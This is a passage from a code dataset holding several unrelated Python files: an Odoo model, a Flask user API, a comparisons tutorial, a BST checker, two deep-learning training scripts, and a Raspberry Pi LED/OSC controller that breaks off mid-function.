Weight\", readonly=True, states={\"draft\" : [(\"readonly\",True)]}, help=\"\")\n doc_line_ids = fields.One2many(comodel_name=\"vit.document_rap_line\", inverse_name=\"rap_id\", string=\"Doc lines\", readonly=True, states={\"draft\" : [(\"readonly\",False)]}, help=\"\")\n\n @api.model\n def create(self, vals):\n if not vals.get('name', False) or vals['name'] == 'New':\n vals['name'] = self.env['ir.sequence'].next_by_code('vit.marketing_rap') or 'Error Number!!!'\n obj = self.env['vit.master_rap_line'].search([])\n final_data = []\n line_data = []\n # pdb.set_trace()\n vals['rap_line_ids'] = False\n for x in obj:\n master_rel = self.env['vit.master_rab_rap_rel'].search([('name','ilike',x.name)])\n line_data = [0, 0, {\n \"master_rap_id\": x.id,\n \"name\": x.name,\n \"code\": x.code,\n \"select_master_rabrap_rel\": master_rel.id\n }]\n final_data.append(line_data)\n vals['rap_line_ids'] = final_data\n return super(marketing_rap, self).create(vals)\n\n @api.depends('gross_margin','total_price')\n def _calc_excepted_gross(self):\n for rec in self:\n if rec.total_price > 0:\n rec.excepted_gross = (rec.gross_margin / rec.total_price) * 100\n\n @api.depends('total_price','total_rap')\n def _calc_gross(self):\n for rec in self:\n rec.gross_margin = rec.total_price - rec.total_rap\n\n @api.depends('total_rap','total_weight' )\n def _calc_harga_satuan(self):\n for rec in self:\n if rec.total_weight > 0:\n rec.harga_satuan = rec.total_rap / rec.total_weight\n \n @api.onchange('jo_id')\n def onchange_jo(self):\n self.project = self.jo_id.project_name\n self.description = self.jo_id.project_desc\n self.po_no = self.jo_id.po_id.name\n # self.total_price = self.jo_id.total_contract\n # self.total_weight = self.jo_id.weight\n \n @api.depends('total_rap','rap_line_ids')\n def _calc_total(self):\n am_total = 0.0\n for c in self:\n for co in c.rap_line_ids:\n am_total += co.cost_rap\n c.total_rap = am_total\n\n # @api.depends('total_weight','rap_line_ids')\n # def _calc_total_weight(self):\n # am_total = 0.0\n # for c in self:\n # for co in c.rap_line_ids:\n # am_total += co.total_weight\n # c.total_weight = am_total\n \n @api.multi \n def action_draft(self):\n self.state = STATES[0][0]\n\n @api.multi \n def action_confirm(self):\n\n self.state = STATES[1][0]\n\n @api.multi \n def action_done(self):\n self.state = STATES[2][0]\n\nclass document_rap_line(models.Model):\n _name = \"vit.document_rap_line\"\n \n name = fields.Char( required=False, string=\"Description\", help=\"\")\n date = fields.Date( string=\"Date\", required=False, default=lambda self: time.strftime(\"%Y-%m-%d\"), help=\"\")\n doc = fields.Binary( string=\"Document Name\", help=\"\")\n doc_name = fields.Char( string=\"Document Name\",)\n\n rap_id = fields.Many2one(comodel_name=\"vit.marketing_rap\", string=\"Rap\", help=\"\")\n","sub_path":"vit_marketing_rap_inherit/model/marketing_rap.py","file_name":"marketing_rap.py","file_ext":"py","file_size_in_byte":5264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"106586513","text":"# This module manages all endpoints for /api/v1_0/users*\n\nfrom .. import swagger_api, swagger, hierarchy_dict, errors\nfrom . import Resource\nfrom flask import jsonify, request\nfrom ..models import User, UserInputModel, UserOutputModel\nfrom mongoengine import NotUniqueError, ValidationError\nimport json\n\n__author__ = 'Preetam'\n\n\n# Swagger Resource UserResource - manages all endpoints for a particular user. ex: /api/v1_0/users/\n@swagger.resource(\n hierarchy_id='User',\n hierarchy_description=hierarchy_dict['User']\n)\nclass UserResource(Resource):\n\n @swagger.operation(\n responseClass=UserOutputModel.__name__,\n nickname=\"get_user_from_userId\",\n parameters=[\n {\n \"name\": \"user_id\",\n \"description\": \"user id\",\n \"required\": True,\n \"allowMultiple\": False,\n \"dataType\": 'string',\n \"paramType\": \"path\"\n },\n {\n \"name\": \"email_id\",\n \"description\": \"Email id\",\n \"required\": False,\n \"allowMultiple\": False,\n \"dataType\": 'string',\n \"paramType\": \"query\"\n }\n ],\n responseMessages=[\n {\n \"code\": 200,\n \"message\": \"OK\"\n },\n {\n \"code\": 500,\n \"message\": \"Internal server error\"\n },\n {\n \"code\": 400,\n \"message\": \"Bad request\"\n }\n ])\n def get(self, user_id):\n '''Get user with user_id in path or email_id in query param'''\n try:\n email_id = request.args.get('email_id', None)\n if email_id is not None:\n users = User.objects(email=str(email_id)).first()\n else:\n users = User.objects(id=str(user_id)).first()\n if users is not None:\n return json.loads(users.to_json())\n except ValidationError as e:\n return errors.internal_server_error(e.message)\n\n return errors.bad_request(\"User {} does not exist\".format(user_id))\n\n\n @swagger.operation(\n responseClass=UserOutputModel.__name__,\n nickname=\"get_user_from_userId\",\n parameters=[\n {\n \"name\": \"user_id\",\n \"description\": \"This is user id\",\n \"required\": True,\n \"allowMultiple\": False,\n \"dataType\": 'string',\n \"paramType\": \"path\"\n },\n {\n \"name\": \"user\",\n \"description\": \"This is UserInputModel\",\n \"required\": True,\n \"allowMultiple\": False,\n \"dataType\": UserInputModel.__name__,\n \"paramType\": \"body\"\n }\n ],\n responseMessages=[\n {\n \"code\": 200,\n \"message\": \"OK\"\n },\n {\n \"code\": 500,\n \"message\": \"Internal server error\"\n },\n {\n \"code\": 400,\n \"message\": \"Bad request\"\n }\n ]\n )\n def put(self, user_id):\n '''Update a user given user_id'''\n try:\n user = User.objects(id=str(user_id)).first()\n if user is not None:\n # Find the fields to update\n data = json.loads(request.data.decode('utf-8'))\n user.update(**dict(data))\n # Reload after update\n user.reload()\n return json.loads(user.to_json())\n except ValidationError as e:\n return errors.internal_server_error(e.message)\n\n return errors.bad_request(\"User {} does not exist\".format(user_id))\n\n @swagger.operation(\n responseClass='string',\n nickname=\"delete_user_using_userId\",\n parameters=[\n {\n \"name\": \"user_id\",\n \"description\": \"user id\",\n \"required\": True,\n \"allowMultiple\": False,\n \"dataType\": 'string',\n \"paramType\": \"path\"\n }\n ],\n responseMessages=[\n {\n \"code\": 200,\n \"message\": \"OK\"\n },\n {\n \"code\": 500,\n \"message\": \"Internal server error\"\n },\n {\n \"code\": 400,\n \"message\": \"Bad request\"\n }\n ]\n )\n def delete(self, user_id):\n '''Delete a user given user_id'''\n try:\n users = User.objects(id=str(user_id)).first()\n if users is not None:\n User.delete(users)\n return jsonify({'status_code': 200, 'status': \"OK\", \"message\": \"User Deleted\"})\n except ValidationError as e:\n return errors.internal_server_error(e.message)\n\n return errors.bad_request(\"User {} does not exist\".format(user_id))\n\n# Swagger Resource UserListResource - manages all endpoints for all users,\n# Except POST creates one. ex endpoint : /api/v1_0/users\n@swagger.resource(\n hierarchy_id='User',\n hierarchy_description=hierarchy_dict['User']\n)\nclass UserListResource(Resource):\n @swagger.operation(\n responseClass=UserOutputModel.__name__,\n nickname=\"get_all_users\",\n responseMessages=[\n {\n \"code\": 200,\n \"message\": \"OK\"\n },\n {\n \"code\": 500,\n \"message\": \"Internal server error\"\n }\n ]\n )\n def get(self):\n '''Get all users'''\n try:\n users = User.objects()\n return json.loads(users.to_json())\n except Exception as e:\n return errors.internal_server_error(e.message)\n\n\n @swagger.operation(\n responseClass=UserOutputModel.__name__,\n nickname=\"create_sentence\",\n parameters=[\n {\n \"name\": \"name\",\n \"description\": \"This is user name\",\n \"required\": True,\n \"allowMultiple\": False,\n \"dataType\": 'string',\n \"paramType\": \"form\"\n },\n {\n \"name\": \"email\",\n \"description\": \"User email address\",\n \"required\": True,\n \"allowMultiple\": False,\n \"dataType\": 'email',\n \"paramType\": \"form\"\n },\n {\n \"name\": \"password\",\n \"description\": \"User password\",\n \"required\": True,\n \"allowMultiple\": False,\n \"dataType\": 'password',\n \"paramType\": \"form\"\n },\n {\n \"name\": \"description\",\n \"description\": \"User description\",\n \"required\": False,\n \"allowMultiple\": False,\n \"dataType\": 'string',\n \"paramType\": \"form\"\n },\n {\n \"name\": \"is_super_user\",\n \"description\": \"Is this super user\",\n \"required\": True,\n \"allowMultiple\": False,\n \"defaultValue\": \"false\",\n \"dataType\": 'boolean',\n \"paramType\": \"form\"\n }\n ],\n responseMessages=[\n {\n \"code\": 200,\n \"message\": \"OK\"\n },\n {\n \"code\": 500,\n \"message\": \"Internal server error\"\n },\n {\n \"code\": 400,\n \"message\": \"Bad request\"\n }\n ]\n )\n def post(self):\n '''Create a user'''\n print(request.form['name'])\n user = User()\n user.name = request.form['name']\n user.email = request.form['email']\n user.description = request.form['description']\n user.password = request.form['password']\n print(user.to_json())\n user.is_super_user = True if request.form['is_super_user'] == \"true\" else False\n try:\n user.save()\n except NotUniqueError as nue:\n return errors.bad_request(\"User with email {} already exists\".format(user.email))\n except Exception as e:\n return errors.internal_server_error(e)\n return jsonify({'status_code': 200, 'status': \"OK\", \"message\": \"User Created\", \"data\": json.loads(user.to_json())})\n\nswagger_api.add_resource(UserResource, '/users/', endpoint=\"user\", strict_slashes=False)\nswagger_api.add_resource(UserListResource, '/users', endpoint=\"users\", strict_slashes=False)","sub_path":"adnota/adnota/api/v1_0/views/user_route.py","file_name":"user_route.py","file_ext":"py","file_size_in_byte":8687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"38216203","text":"###################\n### Comparisons ###\n###################\n\n1 < 2 # True\n0 > 2 # False\n2 == 1 # False\n2 != 1 # True\n3.0 >= 3.0 # True\n3.1 <= 3.0 # False\n1.1 == \"1.1\" # False\n1.1 == float(\"1.1\") # True\n\n3.1 <= \"this\" # Gives TypeError\n\n\"this\" == \"this\" # True\n\"this\" == \"This\" # False\n\"b\" > \"a\" # True\n\"abc\" < \"b\" # True\n# The characters are compared one at a time alphabetically to determine which is greater. This concept is used to sort strings alphabetically.\n\n2 in [1, 2, 3] # True\n4 in [1, 2, 3] # False\n2 not in [1, 2, 3] # False\n4 not in [1, 2, 3] # True\n\n########################\n### if - elif - else ###\n########################\n\na = 200\nb = 33\nif b > a:\n print(\"b is greater than a\")\nelif a == b:\n print(\"a and b are equal\")\nelse:\n print(\"a is greater than b\")\n\n","sub_path":"python/LA_Python_for_sysadmins/fundamentals/conditionals_comparisons.py","file_name":"conditionals_comparisons.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"65029541","text":"#!/usr/bin/python3\r\n\r\nimport sys\r\nimport threading\r\n\r\nsys.setrecursionlimit(10**7) # max depth of recursion\r\nthreading.stack_size(2**27) # new thread will get stack of such size\r\n\r\nnodes = int(sys.stdin.readline().strip())\r\ntree = []\r\nkeys = []\r\nleft_indexes = []\r\nright_indexes = []\r\n\r\nfor i in range(nodes):\r\n k, l, r = map(int, sys.stdin.readline().strip().split())\r\n keys.append(k)\r\n left_indexes.append(l)\r\n right_indexes.append(r)\r\n\r\nmax_values = [None] * len(keys)\r\nmin_values = [None] * len(keys)\r\n\r\n\r\ndef RemoveNone(l):\r\n return [i for i in l if i is not None]\r\n\r\n\r\ndef GetMax(index=0):\r\n if index == -1:\r\n return None\r\n l = RemoveNone([keys[index], GetMax(left_indexes[index]), GetMax(right_indexes[index])])\r\n max_values[index] = max(l)\r\n return max_values[index]\r\n\r\ndef GetMin(index=0):\r\n if index == -1:\r\n return None\r\n l = RemoveNone([keys[index], GetMin(left_indexes[index]), GetMin(right_indexes[index])])\r\n min_values[index] = min(l)\r\n return min_values[index]\r\n\r\n\r\ndef IsBinarySearchTree(index=0):\r\n # Implement correct algorithm here\r\n # tree = [[1,1,2], [2,-1,-1], [3,-1-1]]\r\n if index == -1:\r\n return True\r\n\r\n k = keys[index]\r\n l = left_indexes[index]\r\n r = right_indexes[index]\r\n if (l != -1 and max_values[l] >= k) or (r != -1 and min_values[r] <= k):\r\n return False\r\n return IsBinarySearchTree(l) and IsBinarySearchTree(r)\r\n\r\n\r\ndef main():\r\n if nodes == 0:\r\n print(\"CORRECT\")\r\n return\r\n GetMax(0)\r\n GetMin(0)\r\n if IsBinarySearchTree():\r\n print(\"CORRECT\")\r\n else:\r\n print(\"INCORRECT\")\r\n\r\nthreading.Thread(target=main).start()\r\n","sub_path":"binary_search_tree/Programming-Assignment-4/is_bst/is_bst.py","file_name":"is_bst.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"509868792","text":"import logging\nimport sys\nimport torch\nimport torch.nn as nn\nimport wandb\nfrom model.neural_admixture import NeuralAdmixture\nfrom codetiming import Timer\nfrom src.parallel import CustomDataParallel\nfrom pathlib import Path\nfrom src.switchers import Switchers\nfrom src import utils\n\nlogging.basicConfig(level=logging.INFO)\nlog = logging.getLogger(__name__)\n\ndef fit_model(trX, args, valX=None, trY=None, valY=None):\n switchers = Switchers.get_switchers()\n num_max_epochs = args.max_epochs\n batch_size = args.batch_size\n learning_rate = args.learning_rate\n save_dir = args.save_dir\n optimizer_str = args.optimizer\n save_every = args.save_every\n l2_penalty = args.l2_penalty\n activation_str = args.activation\n shuffle = args.shuffle\n hidden_size = args.hidden_size\n linear = bool(args.linear)\n freeze_decoder = bool(args.freeze_decoder)\n init_file = args.init_file\n supervised = bool(args.supervised)\n decoder_init = args.decoder_init if not supervised else 'supervised'\n n_components = int(args.pca_components)\n tol = float(args.tol)\n name = args.name\n if args.k is not None:\n Ks = [int(args.k)]\n elif args.min_k is not None and args.max_k is not None:\n Ks = [i for i in range(args.min_k, args.max_k+1)]\n else:\n log.error('Either --k (single-head) or --min_k and --max_k (multi-head) must be provided.')\n sys.exit(1)\n assert not (supervised and len(Ks) != 1), 'Supervised version is currently only available on a single head'\n seed = args.seed\n display_logs = bool(args.display_logs)\n log_to_wandb = bool(args.wandb_log)\n run_name = name\n Path(save_dir).mkdir(parents=True, exist_ok=True)\n log.info(f'Job args: {args}')\n log.info('Using {} GPU(s)'.format(torch.cuda.device_count()) if torch.cuda.is_available() else 'No GPUs available.')\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n if log_to_wandb:\n utils.initialize_wandb(run_name, trX, valX, args, save_dir)\n save_path = f'{save_dir}/{run_name}.pt'\n torch.manual_seed(seed)\n # Initialization\n log.info('Initializing...')\n if init_file is None:\n log.warning(f'Initialization filename not provided. Going to store it to {save_dir}/{run_name}.pkl')\n init_file = f'{run_name}.pkl'\n init_path = f'{save_dir}/{init_file}'\n if linear:\n P_init = switchers['initializations'][decoder_init](trX, trY, Ks, batch_size, seed, init_path, run_name, n_components)\n else:\n P_init = None\n log.info('Non-linear decoder weights will be randomly initialized.')\n activation = switchers['activations'][activation_str](0)\n log.info('Variants: {}'.format(trX.shape[1]))\n model = NeuralAdmixture(Ks, trX.shape[1], P_init=P_init,\n lambda_l2=l2_penalty,\n encoder_activation=activation,\n linear=linear, hidden_size=hidden_size,\n freeze_decoder=freeze_decoder,\n supervised=supervised)\n if torch.cuda.device_count() > 1:\n model = CustomDataParallel(model)\n model.to(device)\n if log_to_wandb:\n wandb.watch(model)\n \n # Optimizer\n optimizer = switchers['optimizers'][optimizer_str](filter(lambda p: p.requires_grad, model.parameters()), learning_rate)\n log.info('Optimizer successfully loaded.')\n\n loss_f = nn.BCELoss(reduction='mean')\n log.info('Going to train {} head{}: {}.'.format(len(Ks), 's' if len(Ks) > 1 else '', f'K={Ks[0]}' if len(Ks) == 1 else f'K={Ks[0]} to K={Ks[-1]}'))\n # Fitting\n log.info('Fitting...')\n t = Timer()\n t.start()\n actual_num_epochs = model.launch_training(trX, optimizer, loss_f, num_max_epochs, device, valX=valX,\n batch_size=batch_size, display_logs=display_logs, save_every=save_every,\n save_path=save_path, trY=trY, valY=valY, shuffle=shuffle,\n seed=seed, log_to_wandb=log_to_wandb, tol=tol)\n elapsed_time = t.stop()\n if log_to_wandb:\n wandb.run.summary['total_elapsed_time'] = elapsed_time\n wandb.run.summary['avg_epoch_time'] = elapsed_time/actual_num_epochs\n torch.save(model.state_dict(), save_path)\n model.save_config(run_name, save_dir)\n log.info('Optimization process finished.')\n return model, device\n\ndef main():\n args = utils.parse_args()\n switchers = Switchers.get_switchers()\n if args.dataset is not None:\n tr_file, val_file = switchers['data'][args.dataset](args.data_path)\n tr_pops_f, val_pops_f = '', ''\n else:\n tr_file, val_file = args.data_path, args.validation_data_path\n tr_pops_f, val_pops_f = args.populations_path, args.validation_populations_path\n\n trX, trY, valX, valY = utils.read_data(tr_file, val_file, tr_pops_f, val_pops_f)\n model, device = fit_model(trX, args, valX, trY, valY)\n log.info('Computing divergences...')\n model.display_divergences()\n log.info('Writing outputs...')\n utils.write_outputs(model, trX, valX, args.batch_size, device, args.name, args.save_dir)\n log.info('Exiting...')\n return 0\n\nif __name__ == '__main__':\n sys.exit(main())\n","sub_path":"neural-admixture/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"520389128","text":"import os\n#os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\nimport numpy as np\nfrom keras.models import *\nfrom keras.layers import Input, merge, Conv2D, MaxPooling2D, UpSampling2D, Dropout, Cropping2D\nfrom keras.optimizers import *\nfrom keras.callbacks import ModelCheckpoint, LearningRateScheduler, CSVLogger, TensorBoard\nfrom keras import backend as K\nfrom unetMNIST_support_defs import *\nfrom MyImageDataGenerator import *\nfrom keras.utils.training_utils import multi_gpu_model\nfrom TestBatchCallback import *\nfrom CustomModelCheckpoint import *\nfrom vgg16_local import *\nfrom keras.layers import concatenate\n\n\n\n\n\n\nclass mkUnet(object):\n def __init__(self, img_rows = 28, img_cols = 28):\n self.img_rows = img_rows\n self.img_cols = img_cols\n\n self.debug = True\n\n self.GPUs_count = 2\n self.epochs_to_cycle = 5\n self.FineTune = False\n self.epochs = 100\n # self.epochs = 2\n self.traindata_samples_count = 4096\n self.valdata_samples_count = 1024\n self.testdata_samples_count = 2048\n self.image_size = (256, 256)\n self.start_weights_fname = './model_save/unet4mnist_weights.h5'\n self.current_batch_size = 16 * self.GPUs_count\n self.fnames_prefix = 'unet4mnist_'\n if self.FineTune:\n self.fnames_prefix = self.fnames_prefix + 'finetune_'\n\n\n\n def ComposeModel(self):\n conv_base2 = VGG16_local(weights='imagenet', include_top=False, input_shape=(self.img_rows, self.img_cols, 3),\n weights_path='./vgg16/vgg16_weights_tf_dim_ordering_tf_kernels_notop.h5',\n layernames_postfix='_vgg16')\n conv_base2.trainable = False\n\n drop5 = Dropout(0.5, name='drop5')(conv_base2.output)\n ups6 = UpSampling2D(size=(2, 2))(drop5)\n up6 = Conv2D(512, 2, activation='relu', padding='same', kernel_initializer='he_normal', name='up6')(ups6)\n merge6 = concatenate([conv_base2.get_layer(name='block5_conv3_vgg16').output, up6], axis=3)\n conv6_1 = Conv2D(512, 3, activation='relu', padding='same', kernel_initializer='he_normal', name='conv6_1')(merge6)\n conv6_2 = Conv2D(512, 3, activation='relu', padding='same', kernel_initializer='he_normal', name='conv6_2')(conv6_1)\n\n ups7 = UpSampling2D(size=(2, 2))(conv6_2)\n up7 = Conv2D(256, 2, activation='relu', padding='same', kernel_initializer='he_normal', name='up7')(ups7)\n merge7 = concatenate([conv_base2.get_layer(name='block4_conv3_vgg16').output, up7], axis=3)\n conv7_1 = Conv2D(256, 3, activation='relu', padding='same', kernel_initializer='he_normal', name='conv7_1')(merge7)\n conv7_2 = Conv2D(256, 3, activation='relu', padding='same', kernel_initializer='he_normal', name='conv7_2')(conv7_1)\n\n ups8 = UpSampling2D(size=(2, 2))(conv7_2)\n up8 = Conv2D(128, 2, activation='relu', padding='same', kernel_initializer='he_normal')(ups8)\n merge8 = concatenate([conv_base2.get_layer(name='block3_conv3_vgg16').output, up8], axis=3)\n conv8_1 = Conv2D(128, 3, activation='relu', padding='same', kernel_initializer='he_normal', name='conv8_1')(merge8)\n conv8_2 = Conv2D(128, 3, activation='relu', padding='same', kernel_initializer='he_normal', name='conv8_2')(conv8_1)\n\n ups9 = UpSampling2D(size=(2, 2))(conv8_2)\n up9 = Conv2D(64, 2, activation='relu', padding='same', kernel_initializer='he_normal')(ups9)\n merge9 = concatenate([conv_base2.get_layer(name='block2_conv2_vgg16').output, up9], axis=3)\n conv9_1 = Conv2D(64, 3, activation='relu', padding='same', kernel_initializer='he_normal', name='conv9_1')(merge9)\n conv9_2 = Conv2D(64, 3, activation='relu', padding='same', kernel_initializer='he_normal', name='conv9_2')(conv9_1)\n\n ups10 = UpSampling2D(size=(2, 2))(conv9_2)\n up10 = Conv2D(32, 2, activation='relu', padding='same', kernel_initializer='he_normal')(ups10)\n merge10 = concatenate([conv_base2.get_layer(name='block1_conv2_vgg16').output, up10], axis=3)\n conv10_1 = Conv2D(32, 3, activation='relu', padding='same', kernel_initializer='he_normal', name='conv10_1')(merge10)\n conv10_2 = Conv2D(32, 3, activation='relu', padding='same', kernel_initializer='he_normal', name='conv10_2')(conv10_1)\n conv10_3 = Conv2D(16, 3, activation='relu', padding='same', kernel_initializer='he_normal', name='conv10_3')(conv10_2)\n conv10_out = Conv2D(3, 1, activation='sigmoid', name='conv10_out')(conv10_3)\n\n model = Model(conv_base2.input, conv10_out, name='vgg16_fullmodel')\n\n for l in model.layers:\n if 'vgg16' in l.name:\n l.Trainable = False\n\n return model\n\n\n\n def get_unet(self):\n if (self.GPUs_count > 1):\n with tf.device(\"/cpu:0\"):\n model = self.ComposeModel()\n self.template_model = model\n else:\n model = self.ComposeModel()\n self.template_model = model\n\n if (self.GPUs_count > 1):\n model_multigpu = multi_gpu_model(model, gpus=self.GPUs_count)\n # model_multigpu.compile(optimizer = Adam(lr = 1e-4, decay=0.5), loss = 'binary_crossentropy', metrics = ['accuracy'])\n model_multigpu.compile(optimizer=Adam(lr=1e-4), loss='binary_crossentropy')\n return model_multigpu\n else:\n # model.compile(optimizer=Adam(lr=1e-4, decay=0.5), loss='binary_crossentropy', metrics=['accuracy'])\n model.compile(optimizer=Adam(lr=1e-4), loss='binary_crossentropy')\n return model\n\n\n def train(self):\n print(\"loading data\")\n # datagen = MyImageDataGenerator(traindata_fname='./train_data_256x256_5000.mat',\n # testdata_fname='./test_data_256x256_2000.mat',\n # # test_split_ratio=0.2,\n # val_folds=5,\n # # rotation_range=180,\n # # width_shift_range=0.2,\n # # height_shift_range=0.2,\n # # shear_range=0.2,\n # # zoom_range=0.2,\n # # horizontal_flip=True,\n # # fill_mode='nearest'\n # )\n # datagen = MyImageDataGenerator(traindata_samples_fname = traindata_samples_fname,\n # traindata_targets_fname = traindata_targets_fname,\n # testdata_samples_fname = testdata_samples_fname,\n # testdata_targets_fname = testdata_targets_fname,\n # train_data_subset_length=train_data_subset_length,\n # test_data_subset_length=test_data_subset_length,\n # val_folds=5)\n # datagen = MyImageDataGenerator(image_size=(256, 256))\n datagen = MyImageDataGenerator(traindata_samples_count = self.traindata_samples_count,\n valdata_samples_count = self.valdata_samples_count,\n testdata_samples_count = self.testdata_samples_count,\n image_size = self.image_size,\n toRGB=True,\n useOpenCV=True,\n debug = self.debug)\n\n train_generator = datagen.flow(None, batch_size = self.current_batch_size, category='train')\n val_generator = datagen.flow(None, batch_size = self.current_batch_size, category='val')\n\n # imgs_train, imgs_mask_train, imgs_test = self.load_data()\n # print(\"loading data done\")\n\n # config = tf.ConfigProto(allow_soft_placement=True, log_device_placement=True, device_count={'CPU': 1, 'GPU': 1})\n # config = tf.ConfigProto(allow_soft_placement=True, log_device_placement=True, device_count={'CPU': 1, 'GPU': 2})\n config = tf.ConfigProto(allow_soft_placement=True, device_count={'CPU': 1, 'GPU': self.GPUs_count})\n config.gpu_options.allow_growth = True\n session = tf.Session(config=config)\n K.set_session(session)\n\n model = self.get_unet()\n print(\"got unet\")\n\n filepath = './logs/' + self.fnames_prefix + 'weights_improvement_{epoch:04d}-{val_loss:.6f}.hdf5'\n # checkpointing = ModelCheckpoint(filepath, monitor='val_loss', verbose=1, save_best_only=True, mode='max')\n checkpointing = CustomModelCheckpoint(self.template_model, filepath, monitor='val_loss', verbose=1, save_best_only=True, mode='max')\n testBatchCallback = TestBatchCallback(images_path_to_save='./intermediate_output_images/',\n image_size=(256,256),\n train_samples_to_generate = 4,\n toRGB=True,\n useOpenCV=True)\n cycle_train_val_sets = KFoldCycleCallback(datagen, epochs_to_cycle = self.epochs_to_cycle)\n csv_logger = CSVLogger('./logs/' + self.fnames_prefix + 'train_progress.csv', separator=';', append=True)\n tb_callback = TensorBoard(log_dir='./logs/TBoard/' + self.fnames_prefix + '/', write_graph=True)\n print('Fitting model...')\n # model.fit_generator(imgs_train, imgs_mask_train, batch_size=current_batch_size, nb_epoch=10, verbose=1,validation_split=0.2, shuffle=True, callbacks=[model_checkpoint])\n # history_finetune = model.fit_generator(train_generator,\n # steps_per_epoch=datagen.dataset_length_batches(category='train', batch_size=current_batch_size),\n # epochs=epochs,\n # validation_data=val_generator,\n # validation_steps=datagen.dataset_length_batches(category='val', batch_size=current_batch_size),\n # callbacks=[checkpointing, cycle_train_val_sets, csv_logger, tb_callback, testBatchCallback])\n # # callbacks=[testBatchCallback])\n history_finetune = model.fit_generator(train_generator,\n steps_per_epoch = datagen.dataset_length_batches(category='train', batch_size = self.current_batch_size),\n epochs = self.epochs,\n validation_data = val_generator,\n validation_steps = datagen.dataset_length_batches(category='val', batch_size=self.current_batch_size),\n callbacks=[checkpointing, csv_logger, tb_callback, testBatchCallback, cycle_train_val_sets])\n # callbacks=[testBatchCallback])\n\n\n print('loading test data')\n # test_generator = datagen.flow(None, batch_size = self.current_batch_size, category='test')\n datagen.generate_test_data()\n test_generator = datagen.flow(None, batch_size = self.current_batch_size, category='test')\n\n print('evaluate, predict on test data')\n score = model.evaluate_generator(test_generator, steps = datagen.dataset_length_batches(category='test', batch_size=self.current_batch_size))\n print('Test score:', score)\n # print('Test accuracy:', score[1])\n # prediction = model.predict_generator(test_generator, steps=datagen.dataset_length_batches(category='test', batch_size=current_batch_size))\n self.template_model.save('./trained_unet_mnist_model.h5')\n\n # imgs_mask_test = model.predict_generator(test_generator, batch_size=current_batch_size, verbose=1)\n # np.save('../results/imgs_mask_test.npy', imgs_mask_test)\n\n # def test(self):\n #\n # print(\"array to image\")\n # imgs = np.load('imgs_mask_test.npy')\n # for i in range(imgs.shape[0]):\n # img = imgs[i]\n # img = array_to_img(img)\n # img.save(\"../results/%d.jpg\"%(i))\n\n\n\n\nif __name__ == '__main__':\n myunet = mkUnet(256, 256)\n myunet.train()\n print('\\n\\nFINISHED')\n # myunet.test()\n","sub_path":"unetMNIST_VGG16.py","file_name":"unetMNIST_VGG16.py","file_ext":"py","file_size_in_byte":12465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"285162051","text":"#constant important#################\nimport const\n####################################\n\n#osc import#########################\nfrom osc4py3.as_eventloop import *\nfrom osc4py3 import oscmethod as osm\nimport time\n#osc send import###\n#from osc4py3.as_eventloop import *\nfrom osc4py3 import oscbuildparse\n#time\n###################\n####################################\n\n#neopixel import####################\n#import time\nfrom neopixel import *\nimport argparse\nimport numpy as np\nimport signal\n####################################\n\n#GPIO import########################\nimport RPi.GPIO as GPIO\n####################################\n\n#LED constant#######################\nLED_COUNT = 883 # Number of LED pixels.\nLED_SECOND_USE = 1 #0:single 1:double\nLED_COUNT_UP = 549\nLED_COUNT_DOWN = 334\nLED_PIN = 18 # GPIO pin connected to the pixels (18 uses PWM!).\nlED_PIN_SECOND = 19\n#LED_PIN = 10 # GPIO pin connected to the pixels (10 uses SPI /dev/spidev0.0).\nLED_FREQ_HZ = 800000 # LED signal frequency in hertz (usually 800khz)\nLED_DMA = 10 # DMA channel to use for generating signal (try 10)\nLED_BRIGHTNESS = 100 # Set to 0 for darkest and 255 for brightest\nLED_INVERT = False # True to invert the signal (when using NPN transistor level shift)\nLED_CHANNEL = 0 # set to '1' for GPIOs 13, 19, 41, 45 or 53\nLED_CHANNEL_SECOND = 1\n#####################################\n\n#other variables#####################\nFPS = 20\nLIGHT_SEC = 216\nPRODUCTION_MIN = 1000\nloopCount=0\nloopChange=0\nloop_start_time=0\nsignal_count=0\nperiod = 1/FPS\nloopChange=0\nstart_flag = False\nSWITCH_PIN = 4\nswitch_flag = False #off=False default\n#####################################\n\"\"\"\nPRODUVTION_MINを60くらいに設定しているけど、ここながくていいのかなぁ\n\"\"\"\n\n\n\n\"\"\"\nOSC call function #################################\n\"\"\"\n\n#sample\n\ndef test(address,in_num):\n # Will receive message data unpacked in s\n print(\"test function=======>>>>>>> address:\"+str(address)+\" get data: \"+str(in_num))\n if in_num == \"alive\":\n msg_send = oscbuildparse.OSCMessage(\"/get/alive_check\", None, [\"alive\"])\n osc_send(msg_send, \"aclientname\") \n osc_process()\n \n\ndef event_func(address, in_num):\n print(\"event function=======>>>>>>> address:\"+str(address)+\" get data: \"+str(in_num))\n third_address=address.lstrip(const.EVENT_ADDRESS+\"/\")\n print(\"end_address:\"+str(third_address))\n global start_flag\n global loopCount\n if third_address==\"start\" and in_num==\"bang\":\n if start_flag == False:\n start_flag = True\n if third_address==\"stop\" and in_num==\"bang\":\n if start_flag == True:\n start_flag = False\n if third_address==\"usect\":\n loopCount = in_num\n elif third_address == \"frame\":\n print(\"loop change: \"+str(in_num))\n global loopChange\n loopChange = in_num\n elif third_address == \"init\" and in_num == \"bang\":\n loopCount = 0\n \n\"\"\"\nOSC call function end #############################\n\"\"\"\n\n\ndef scheduler(arg1,arg2):\n global signal_count\n global loopCount\n global loopChange\n\n #毎フレやること\n #現在のループの位置を送る\n msg_send_loopCount = oscbuildparse.OSCMessage(\"/get/loopcount\", None, [loopCount])\n osc_send(msg_send_loopCount, \"aclientname\") \n osc_process() #もしかしたらLight()の後の方がいいかもしれない\n\n\n #スイッチの値を読み込む\n global switch_flag\n \n if GPIO.input(SWITCH_PIN):\n #スイッチがオンのとき\n 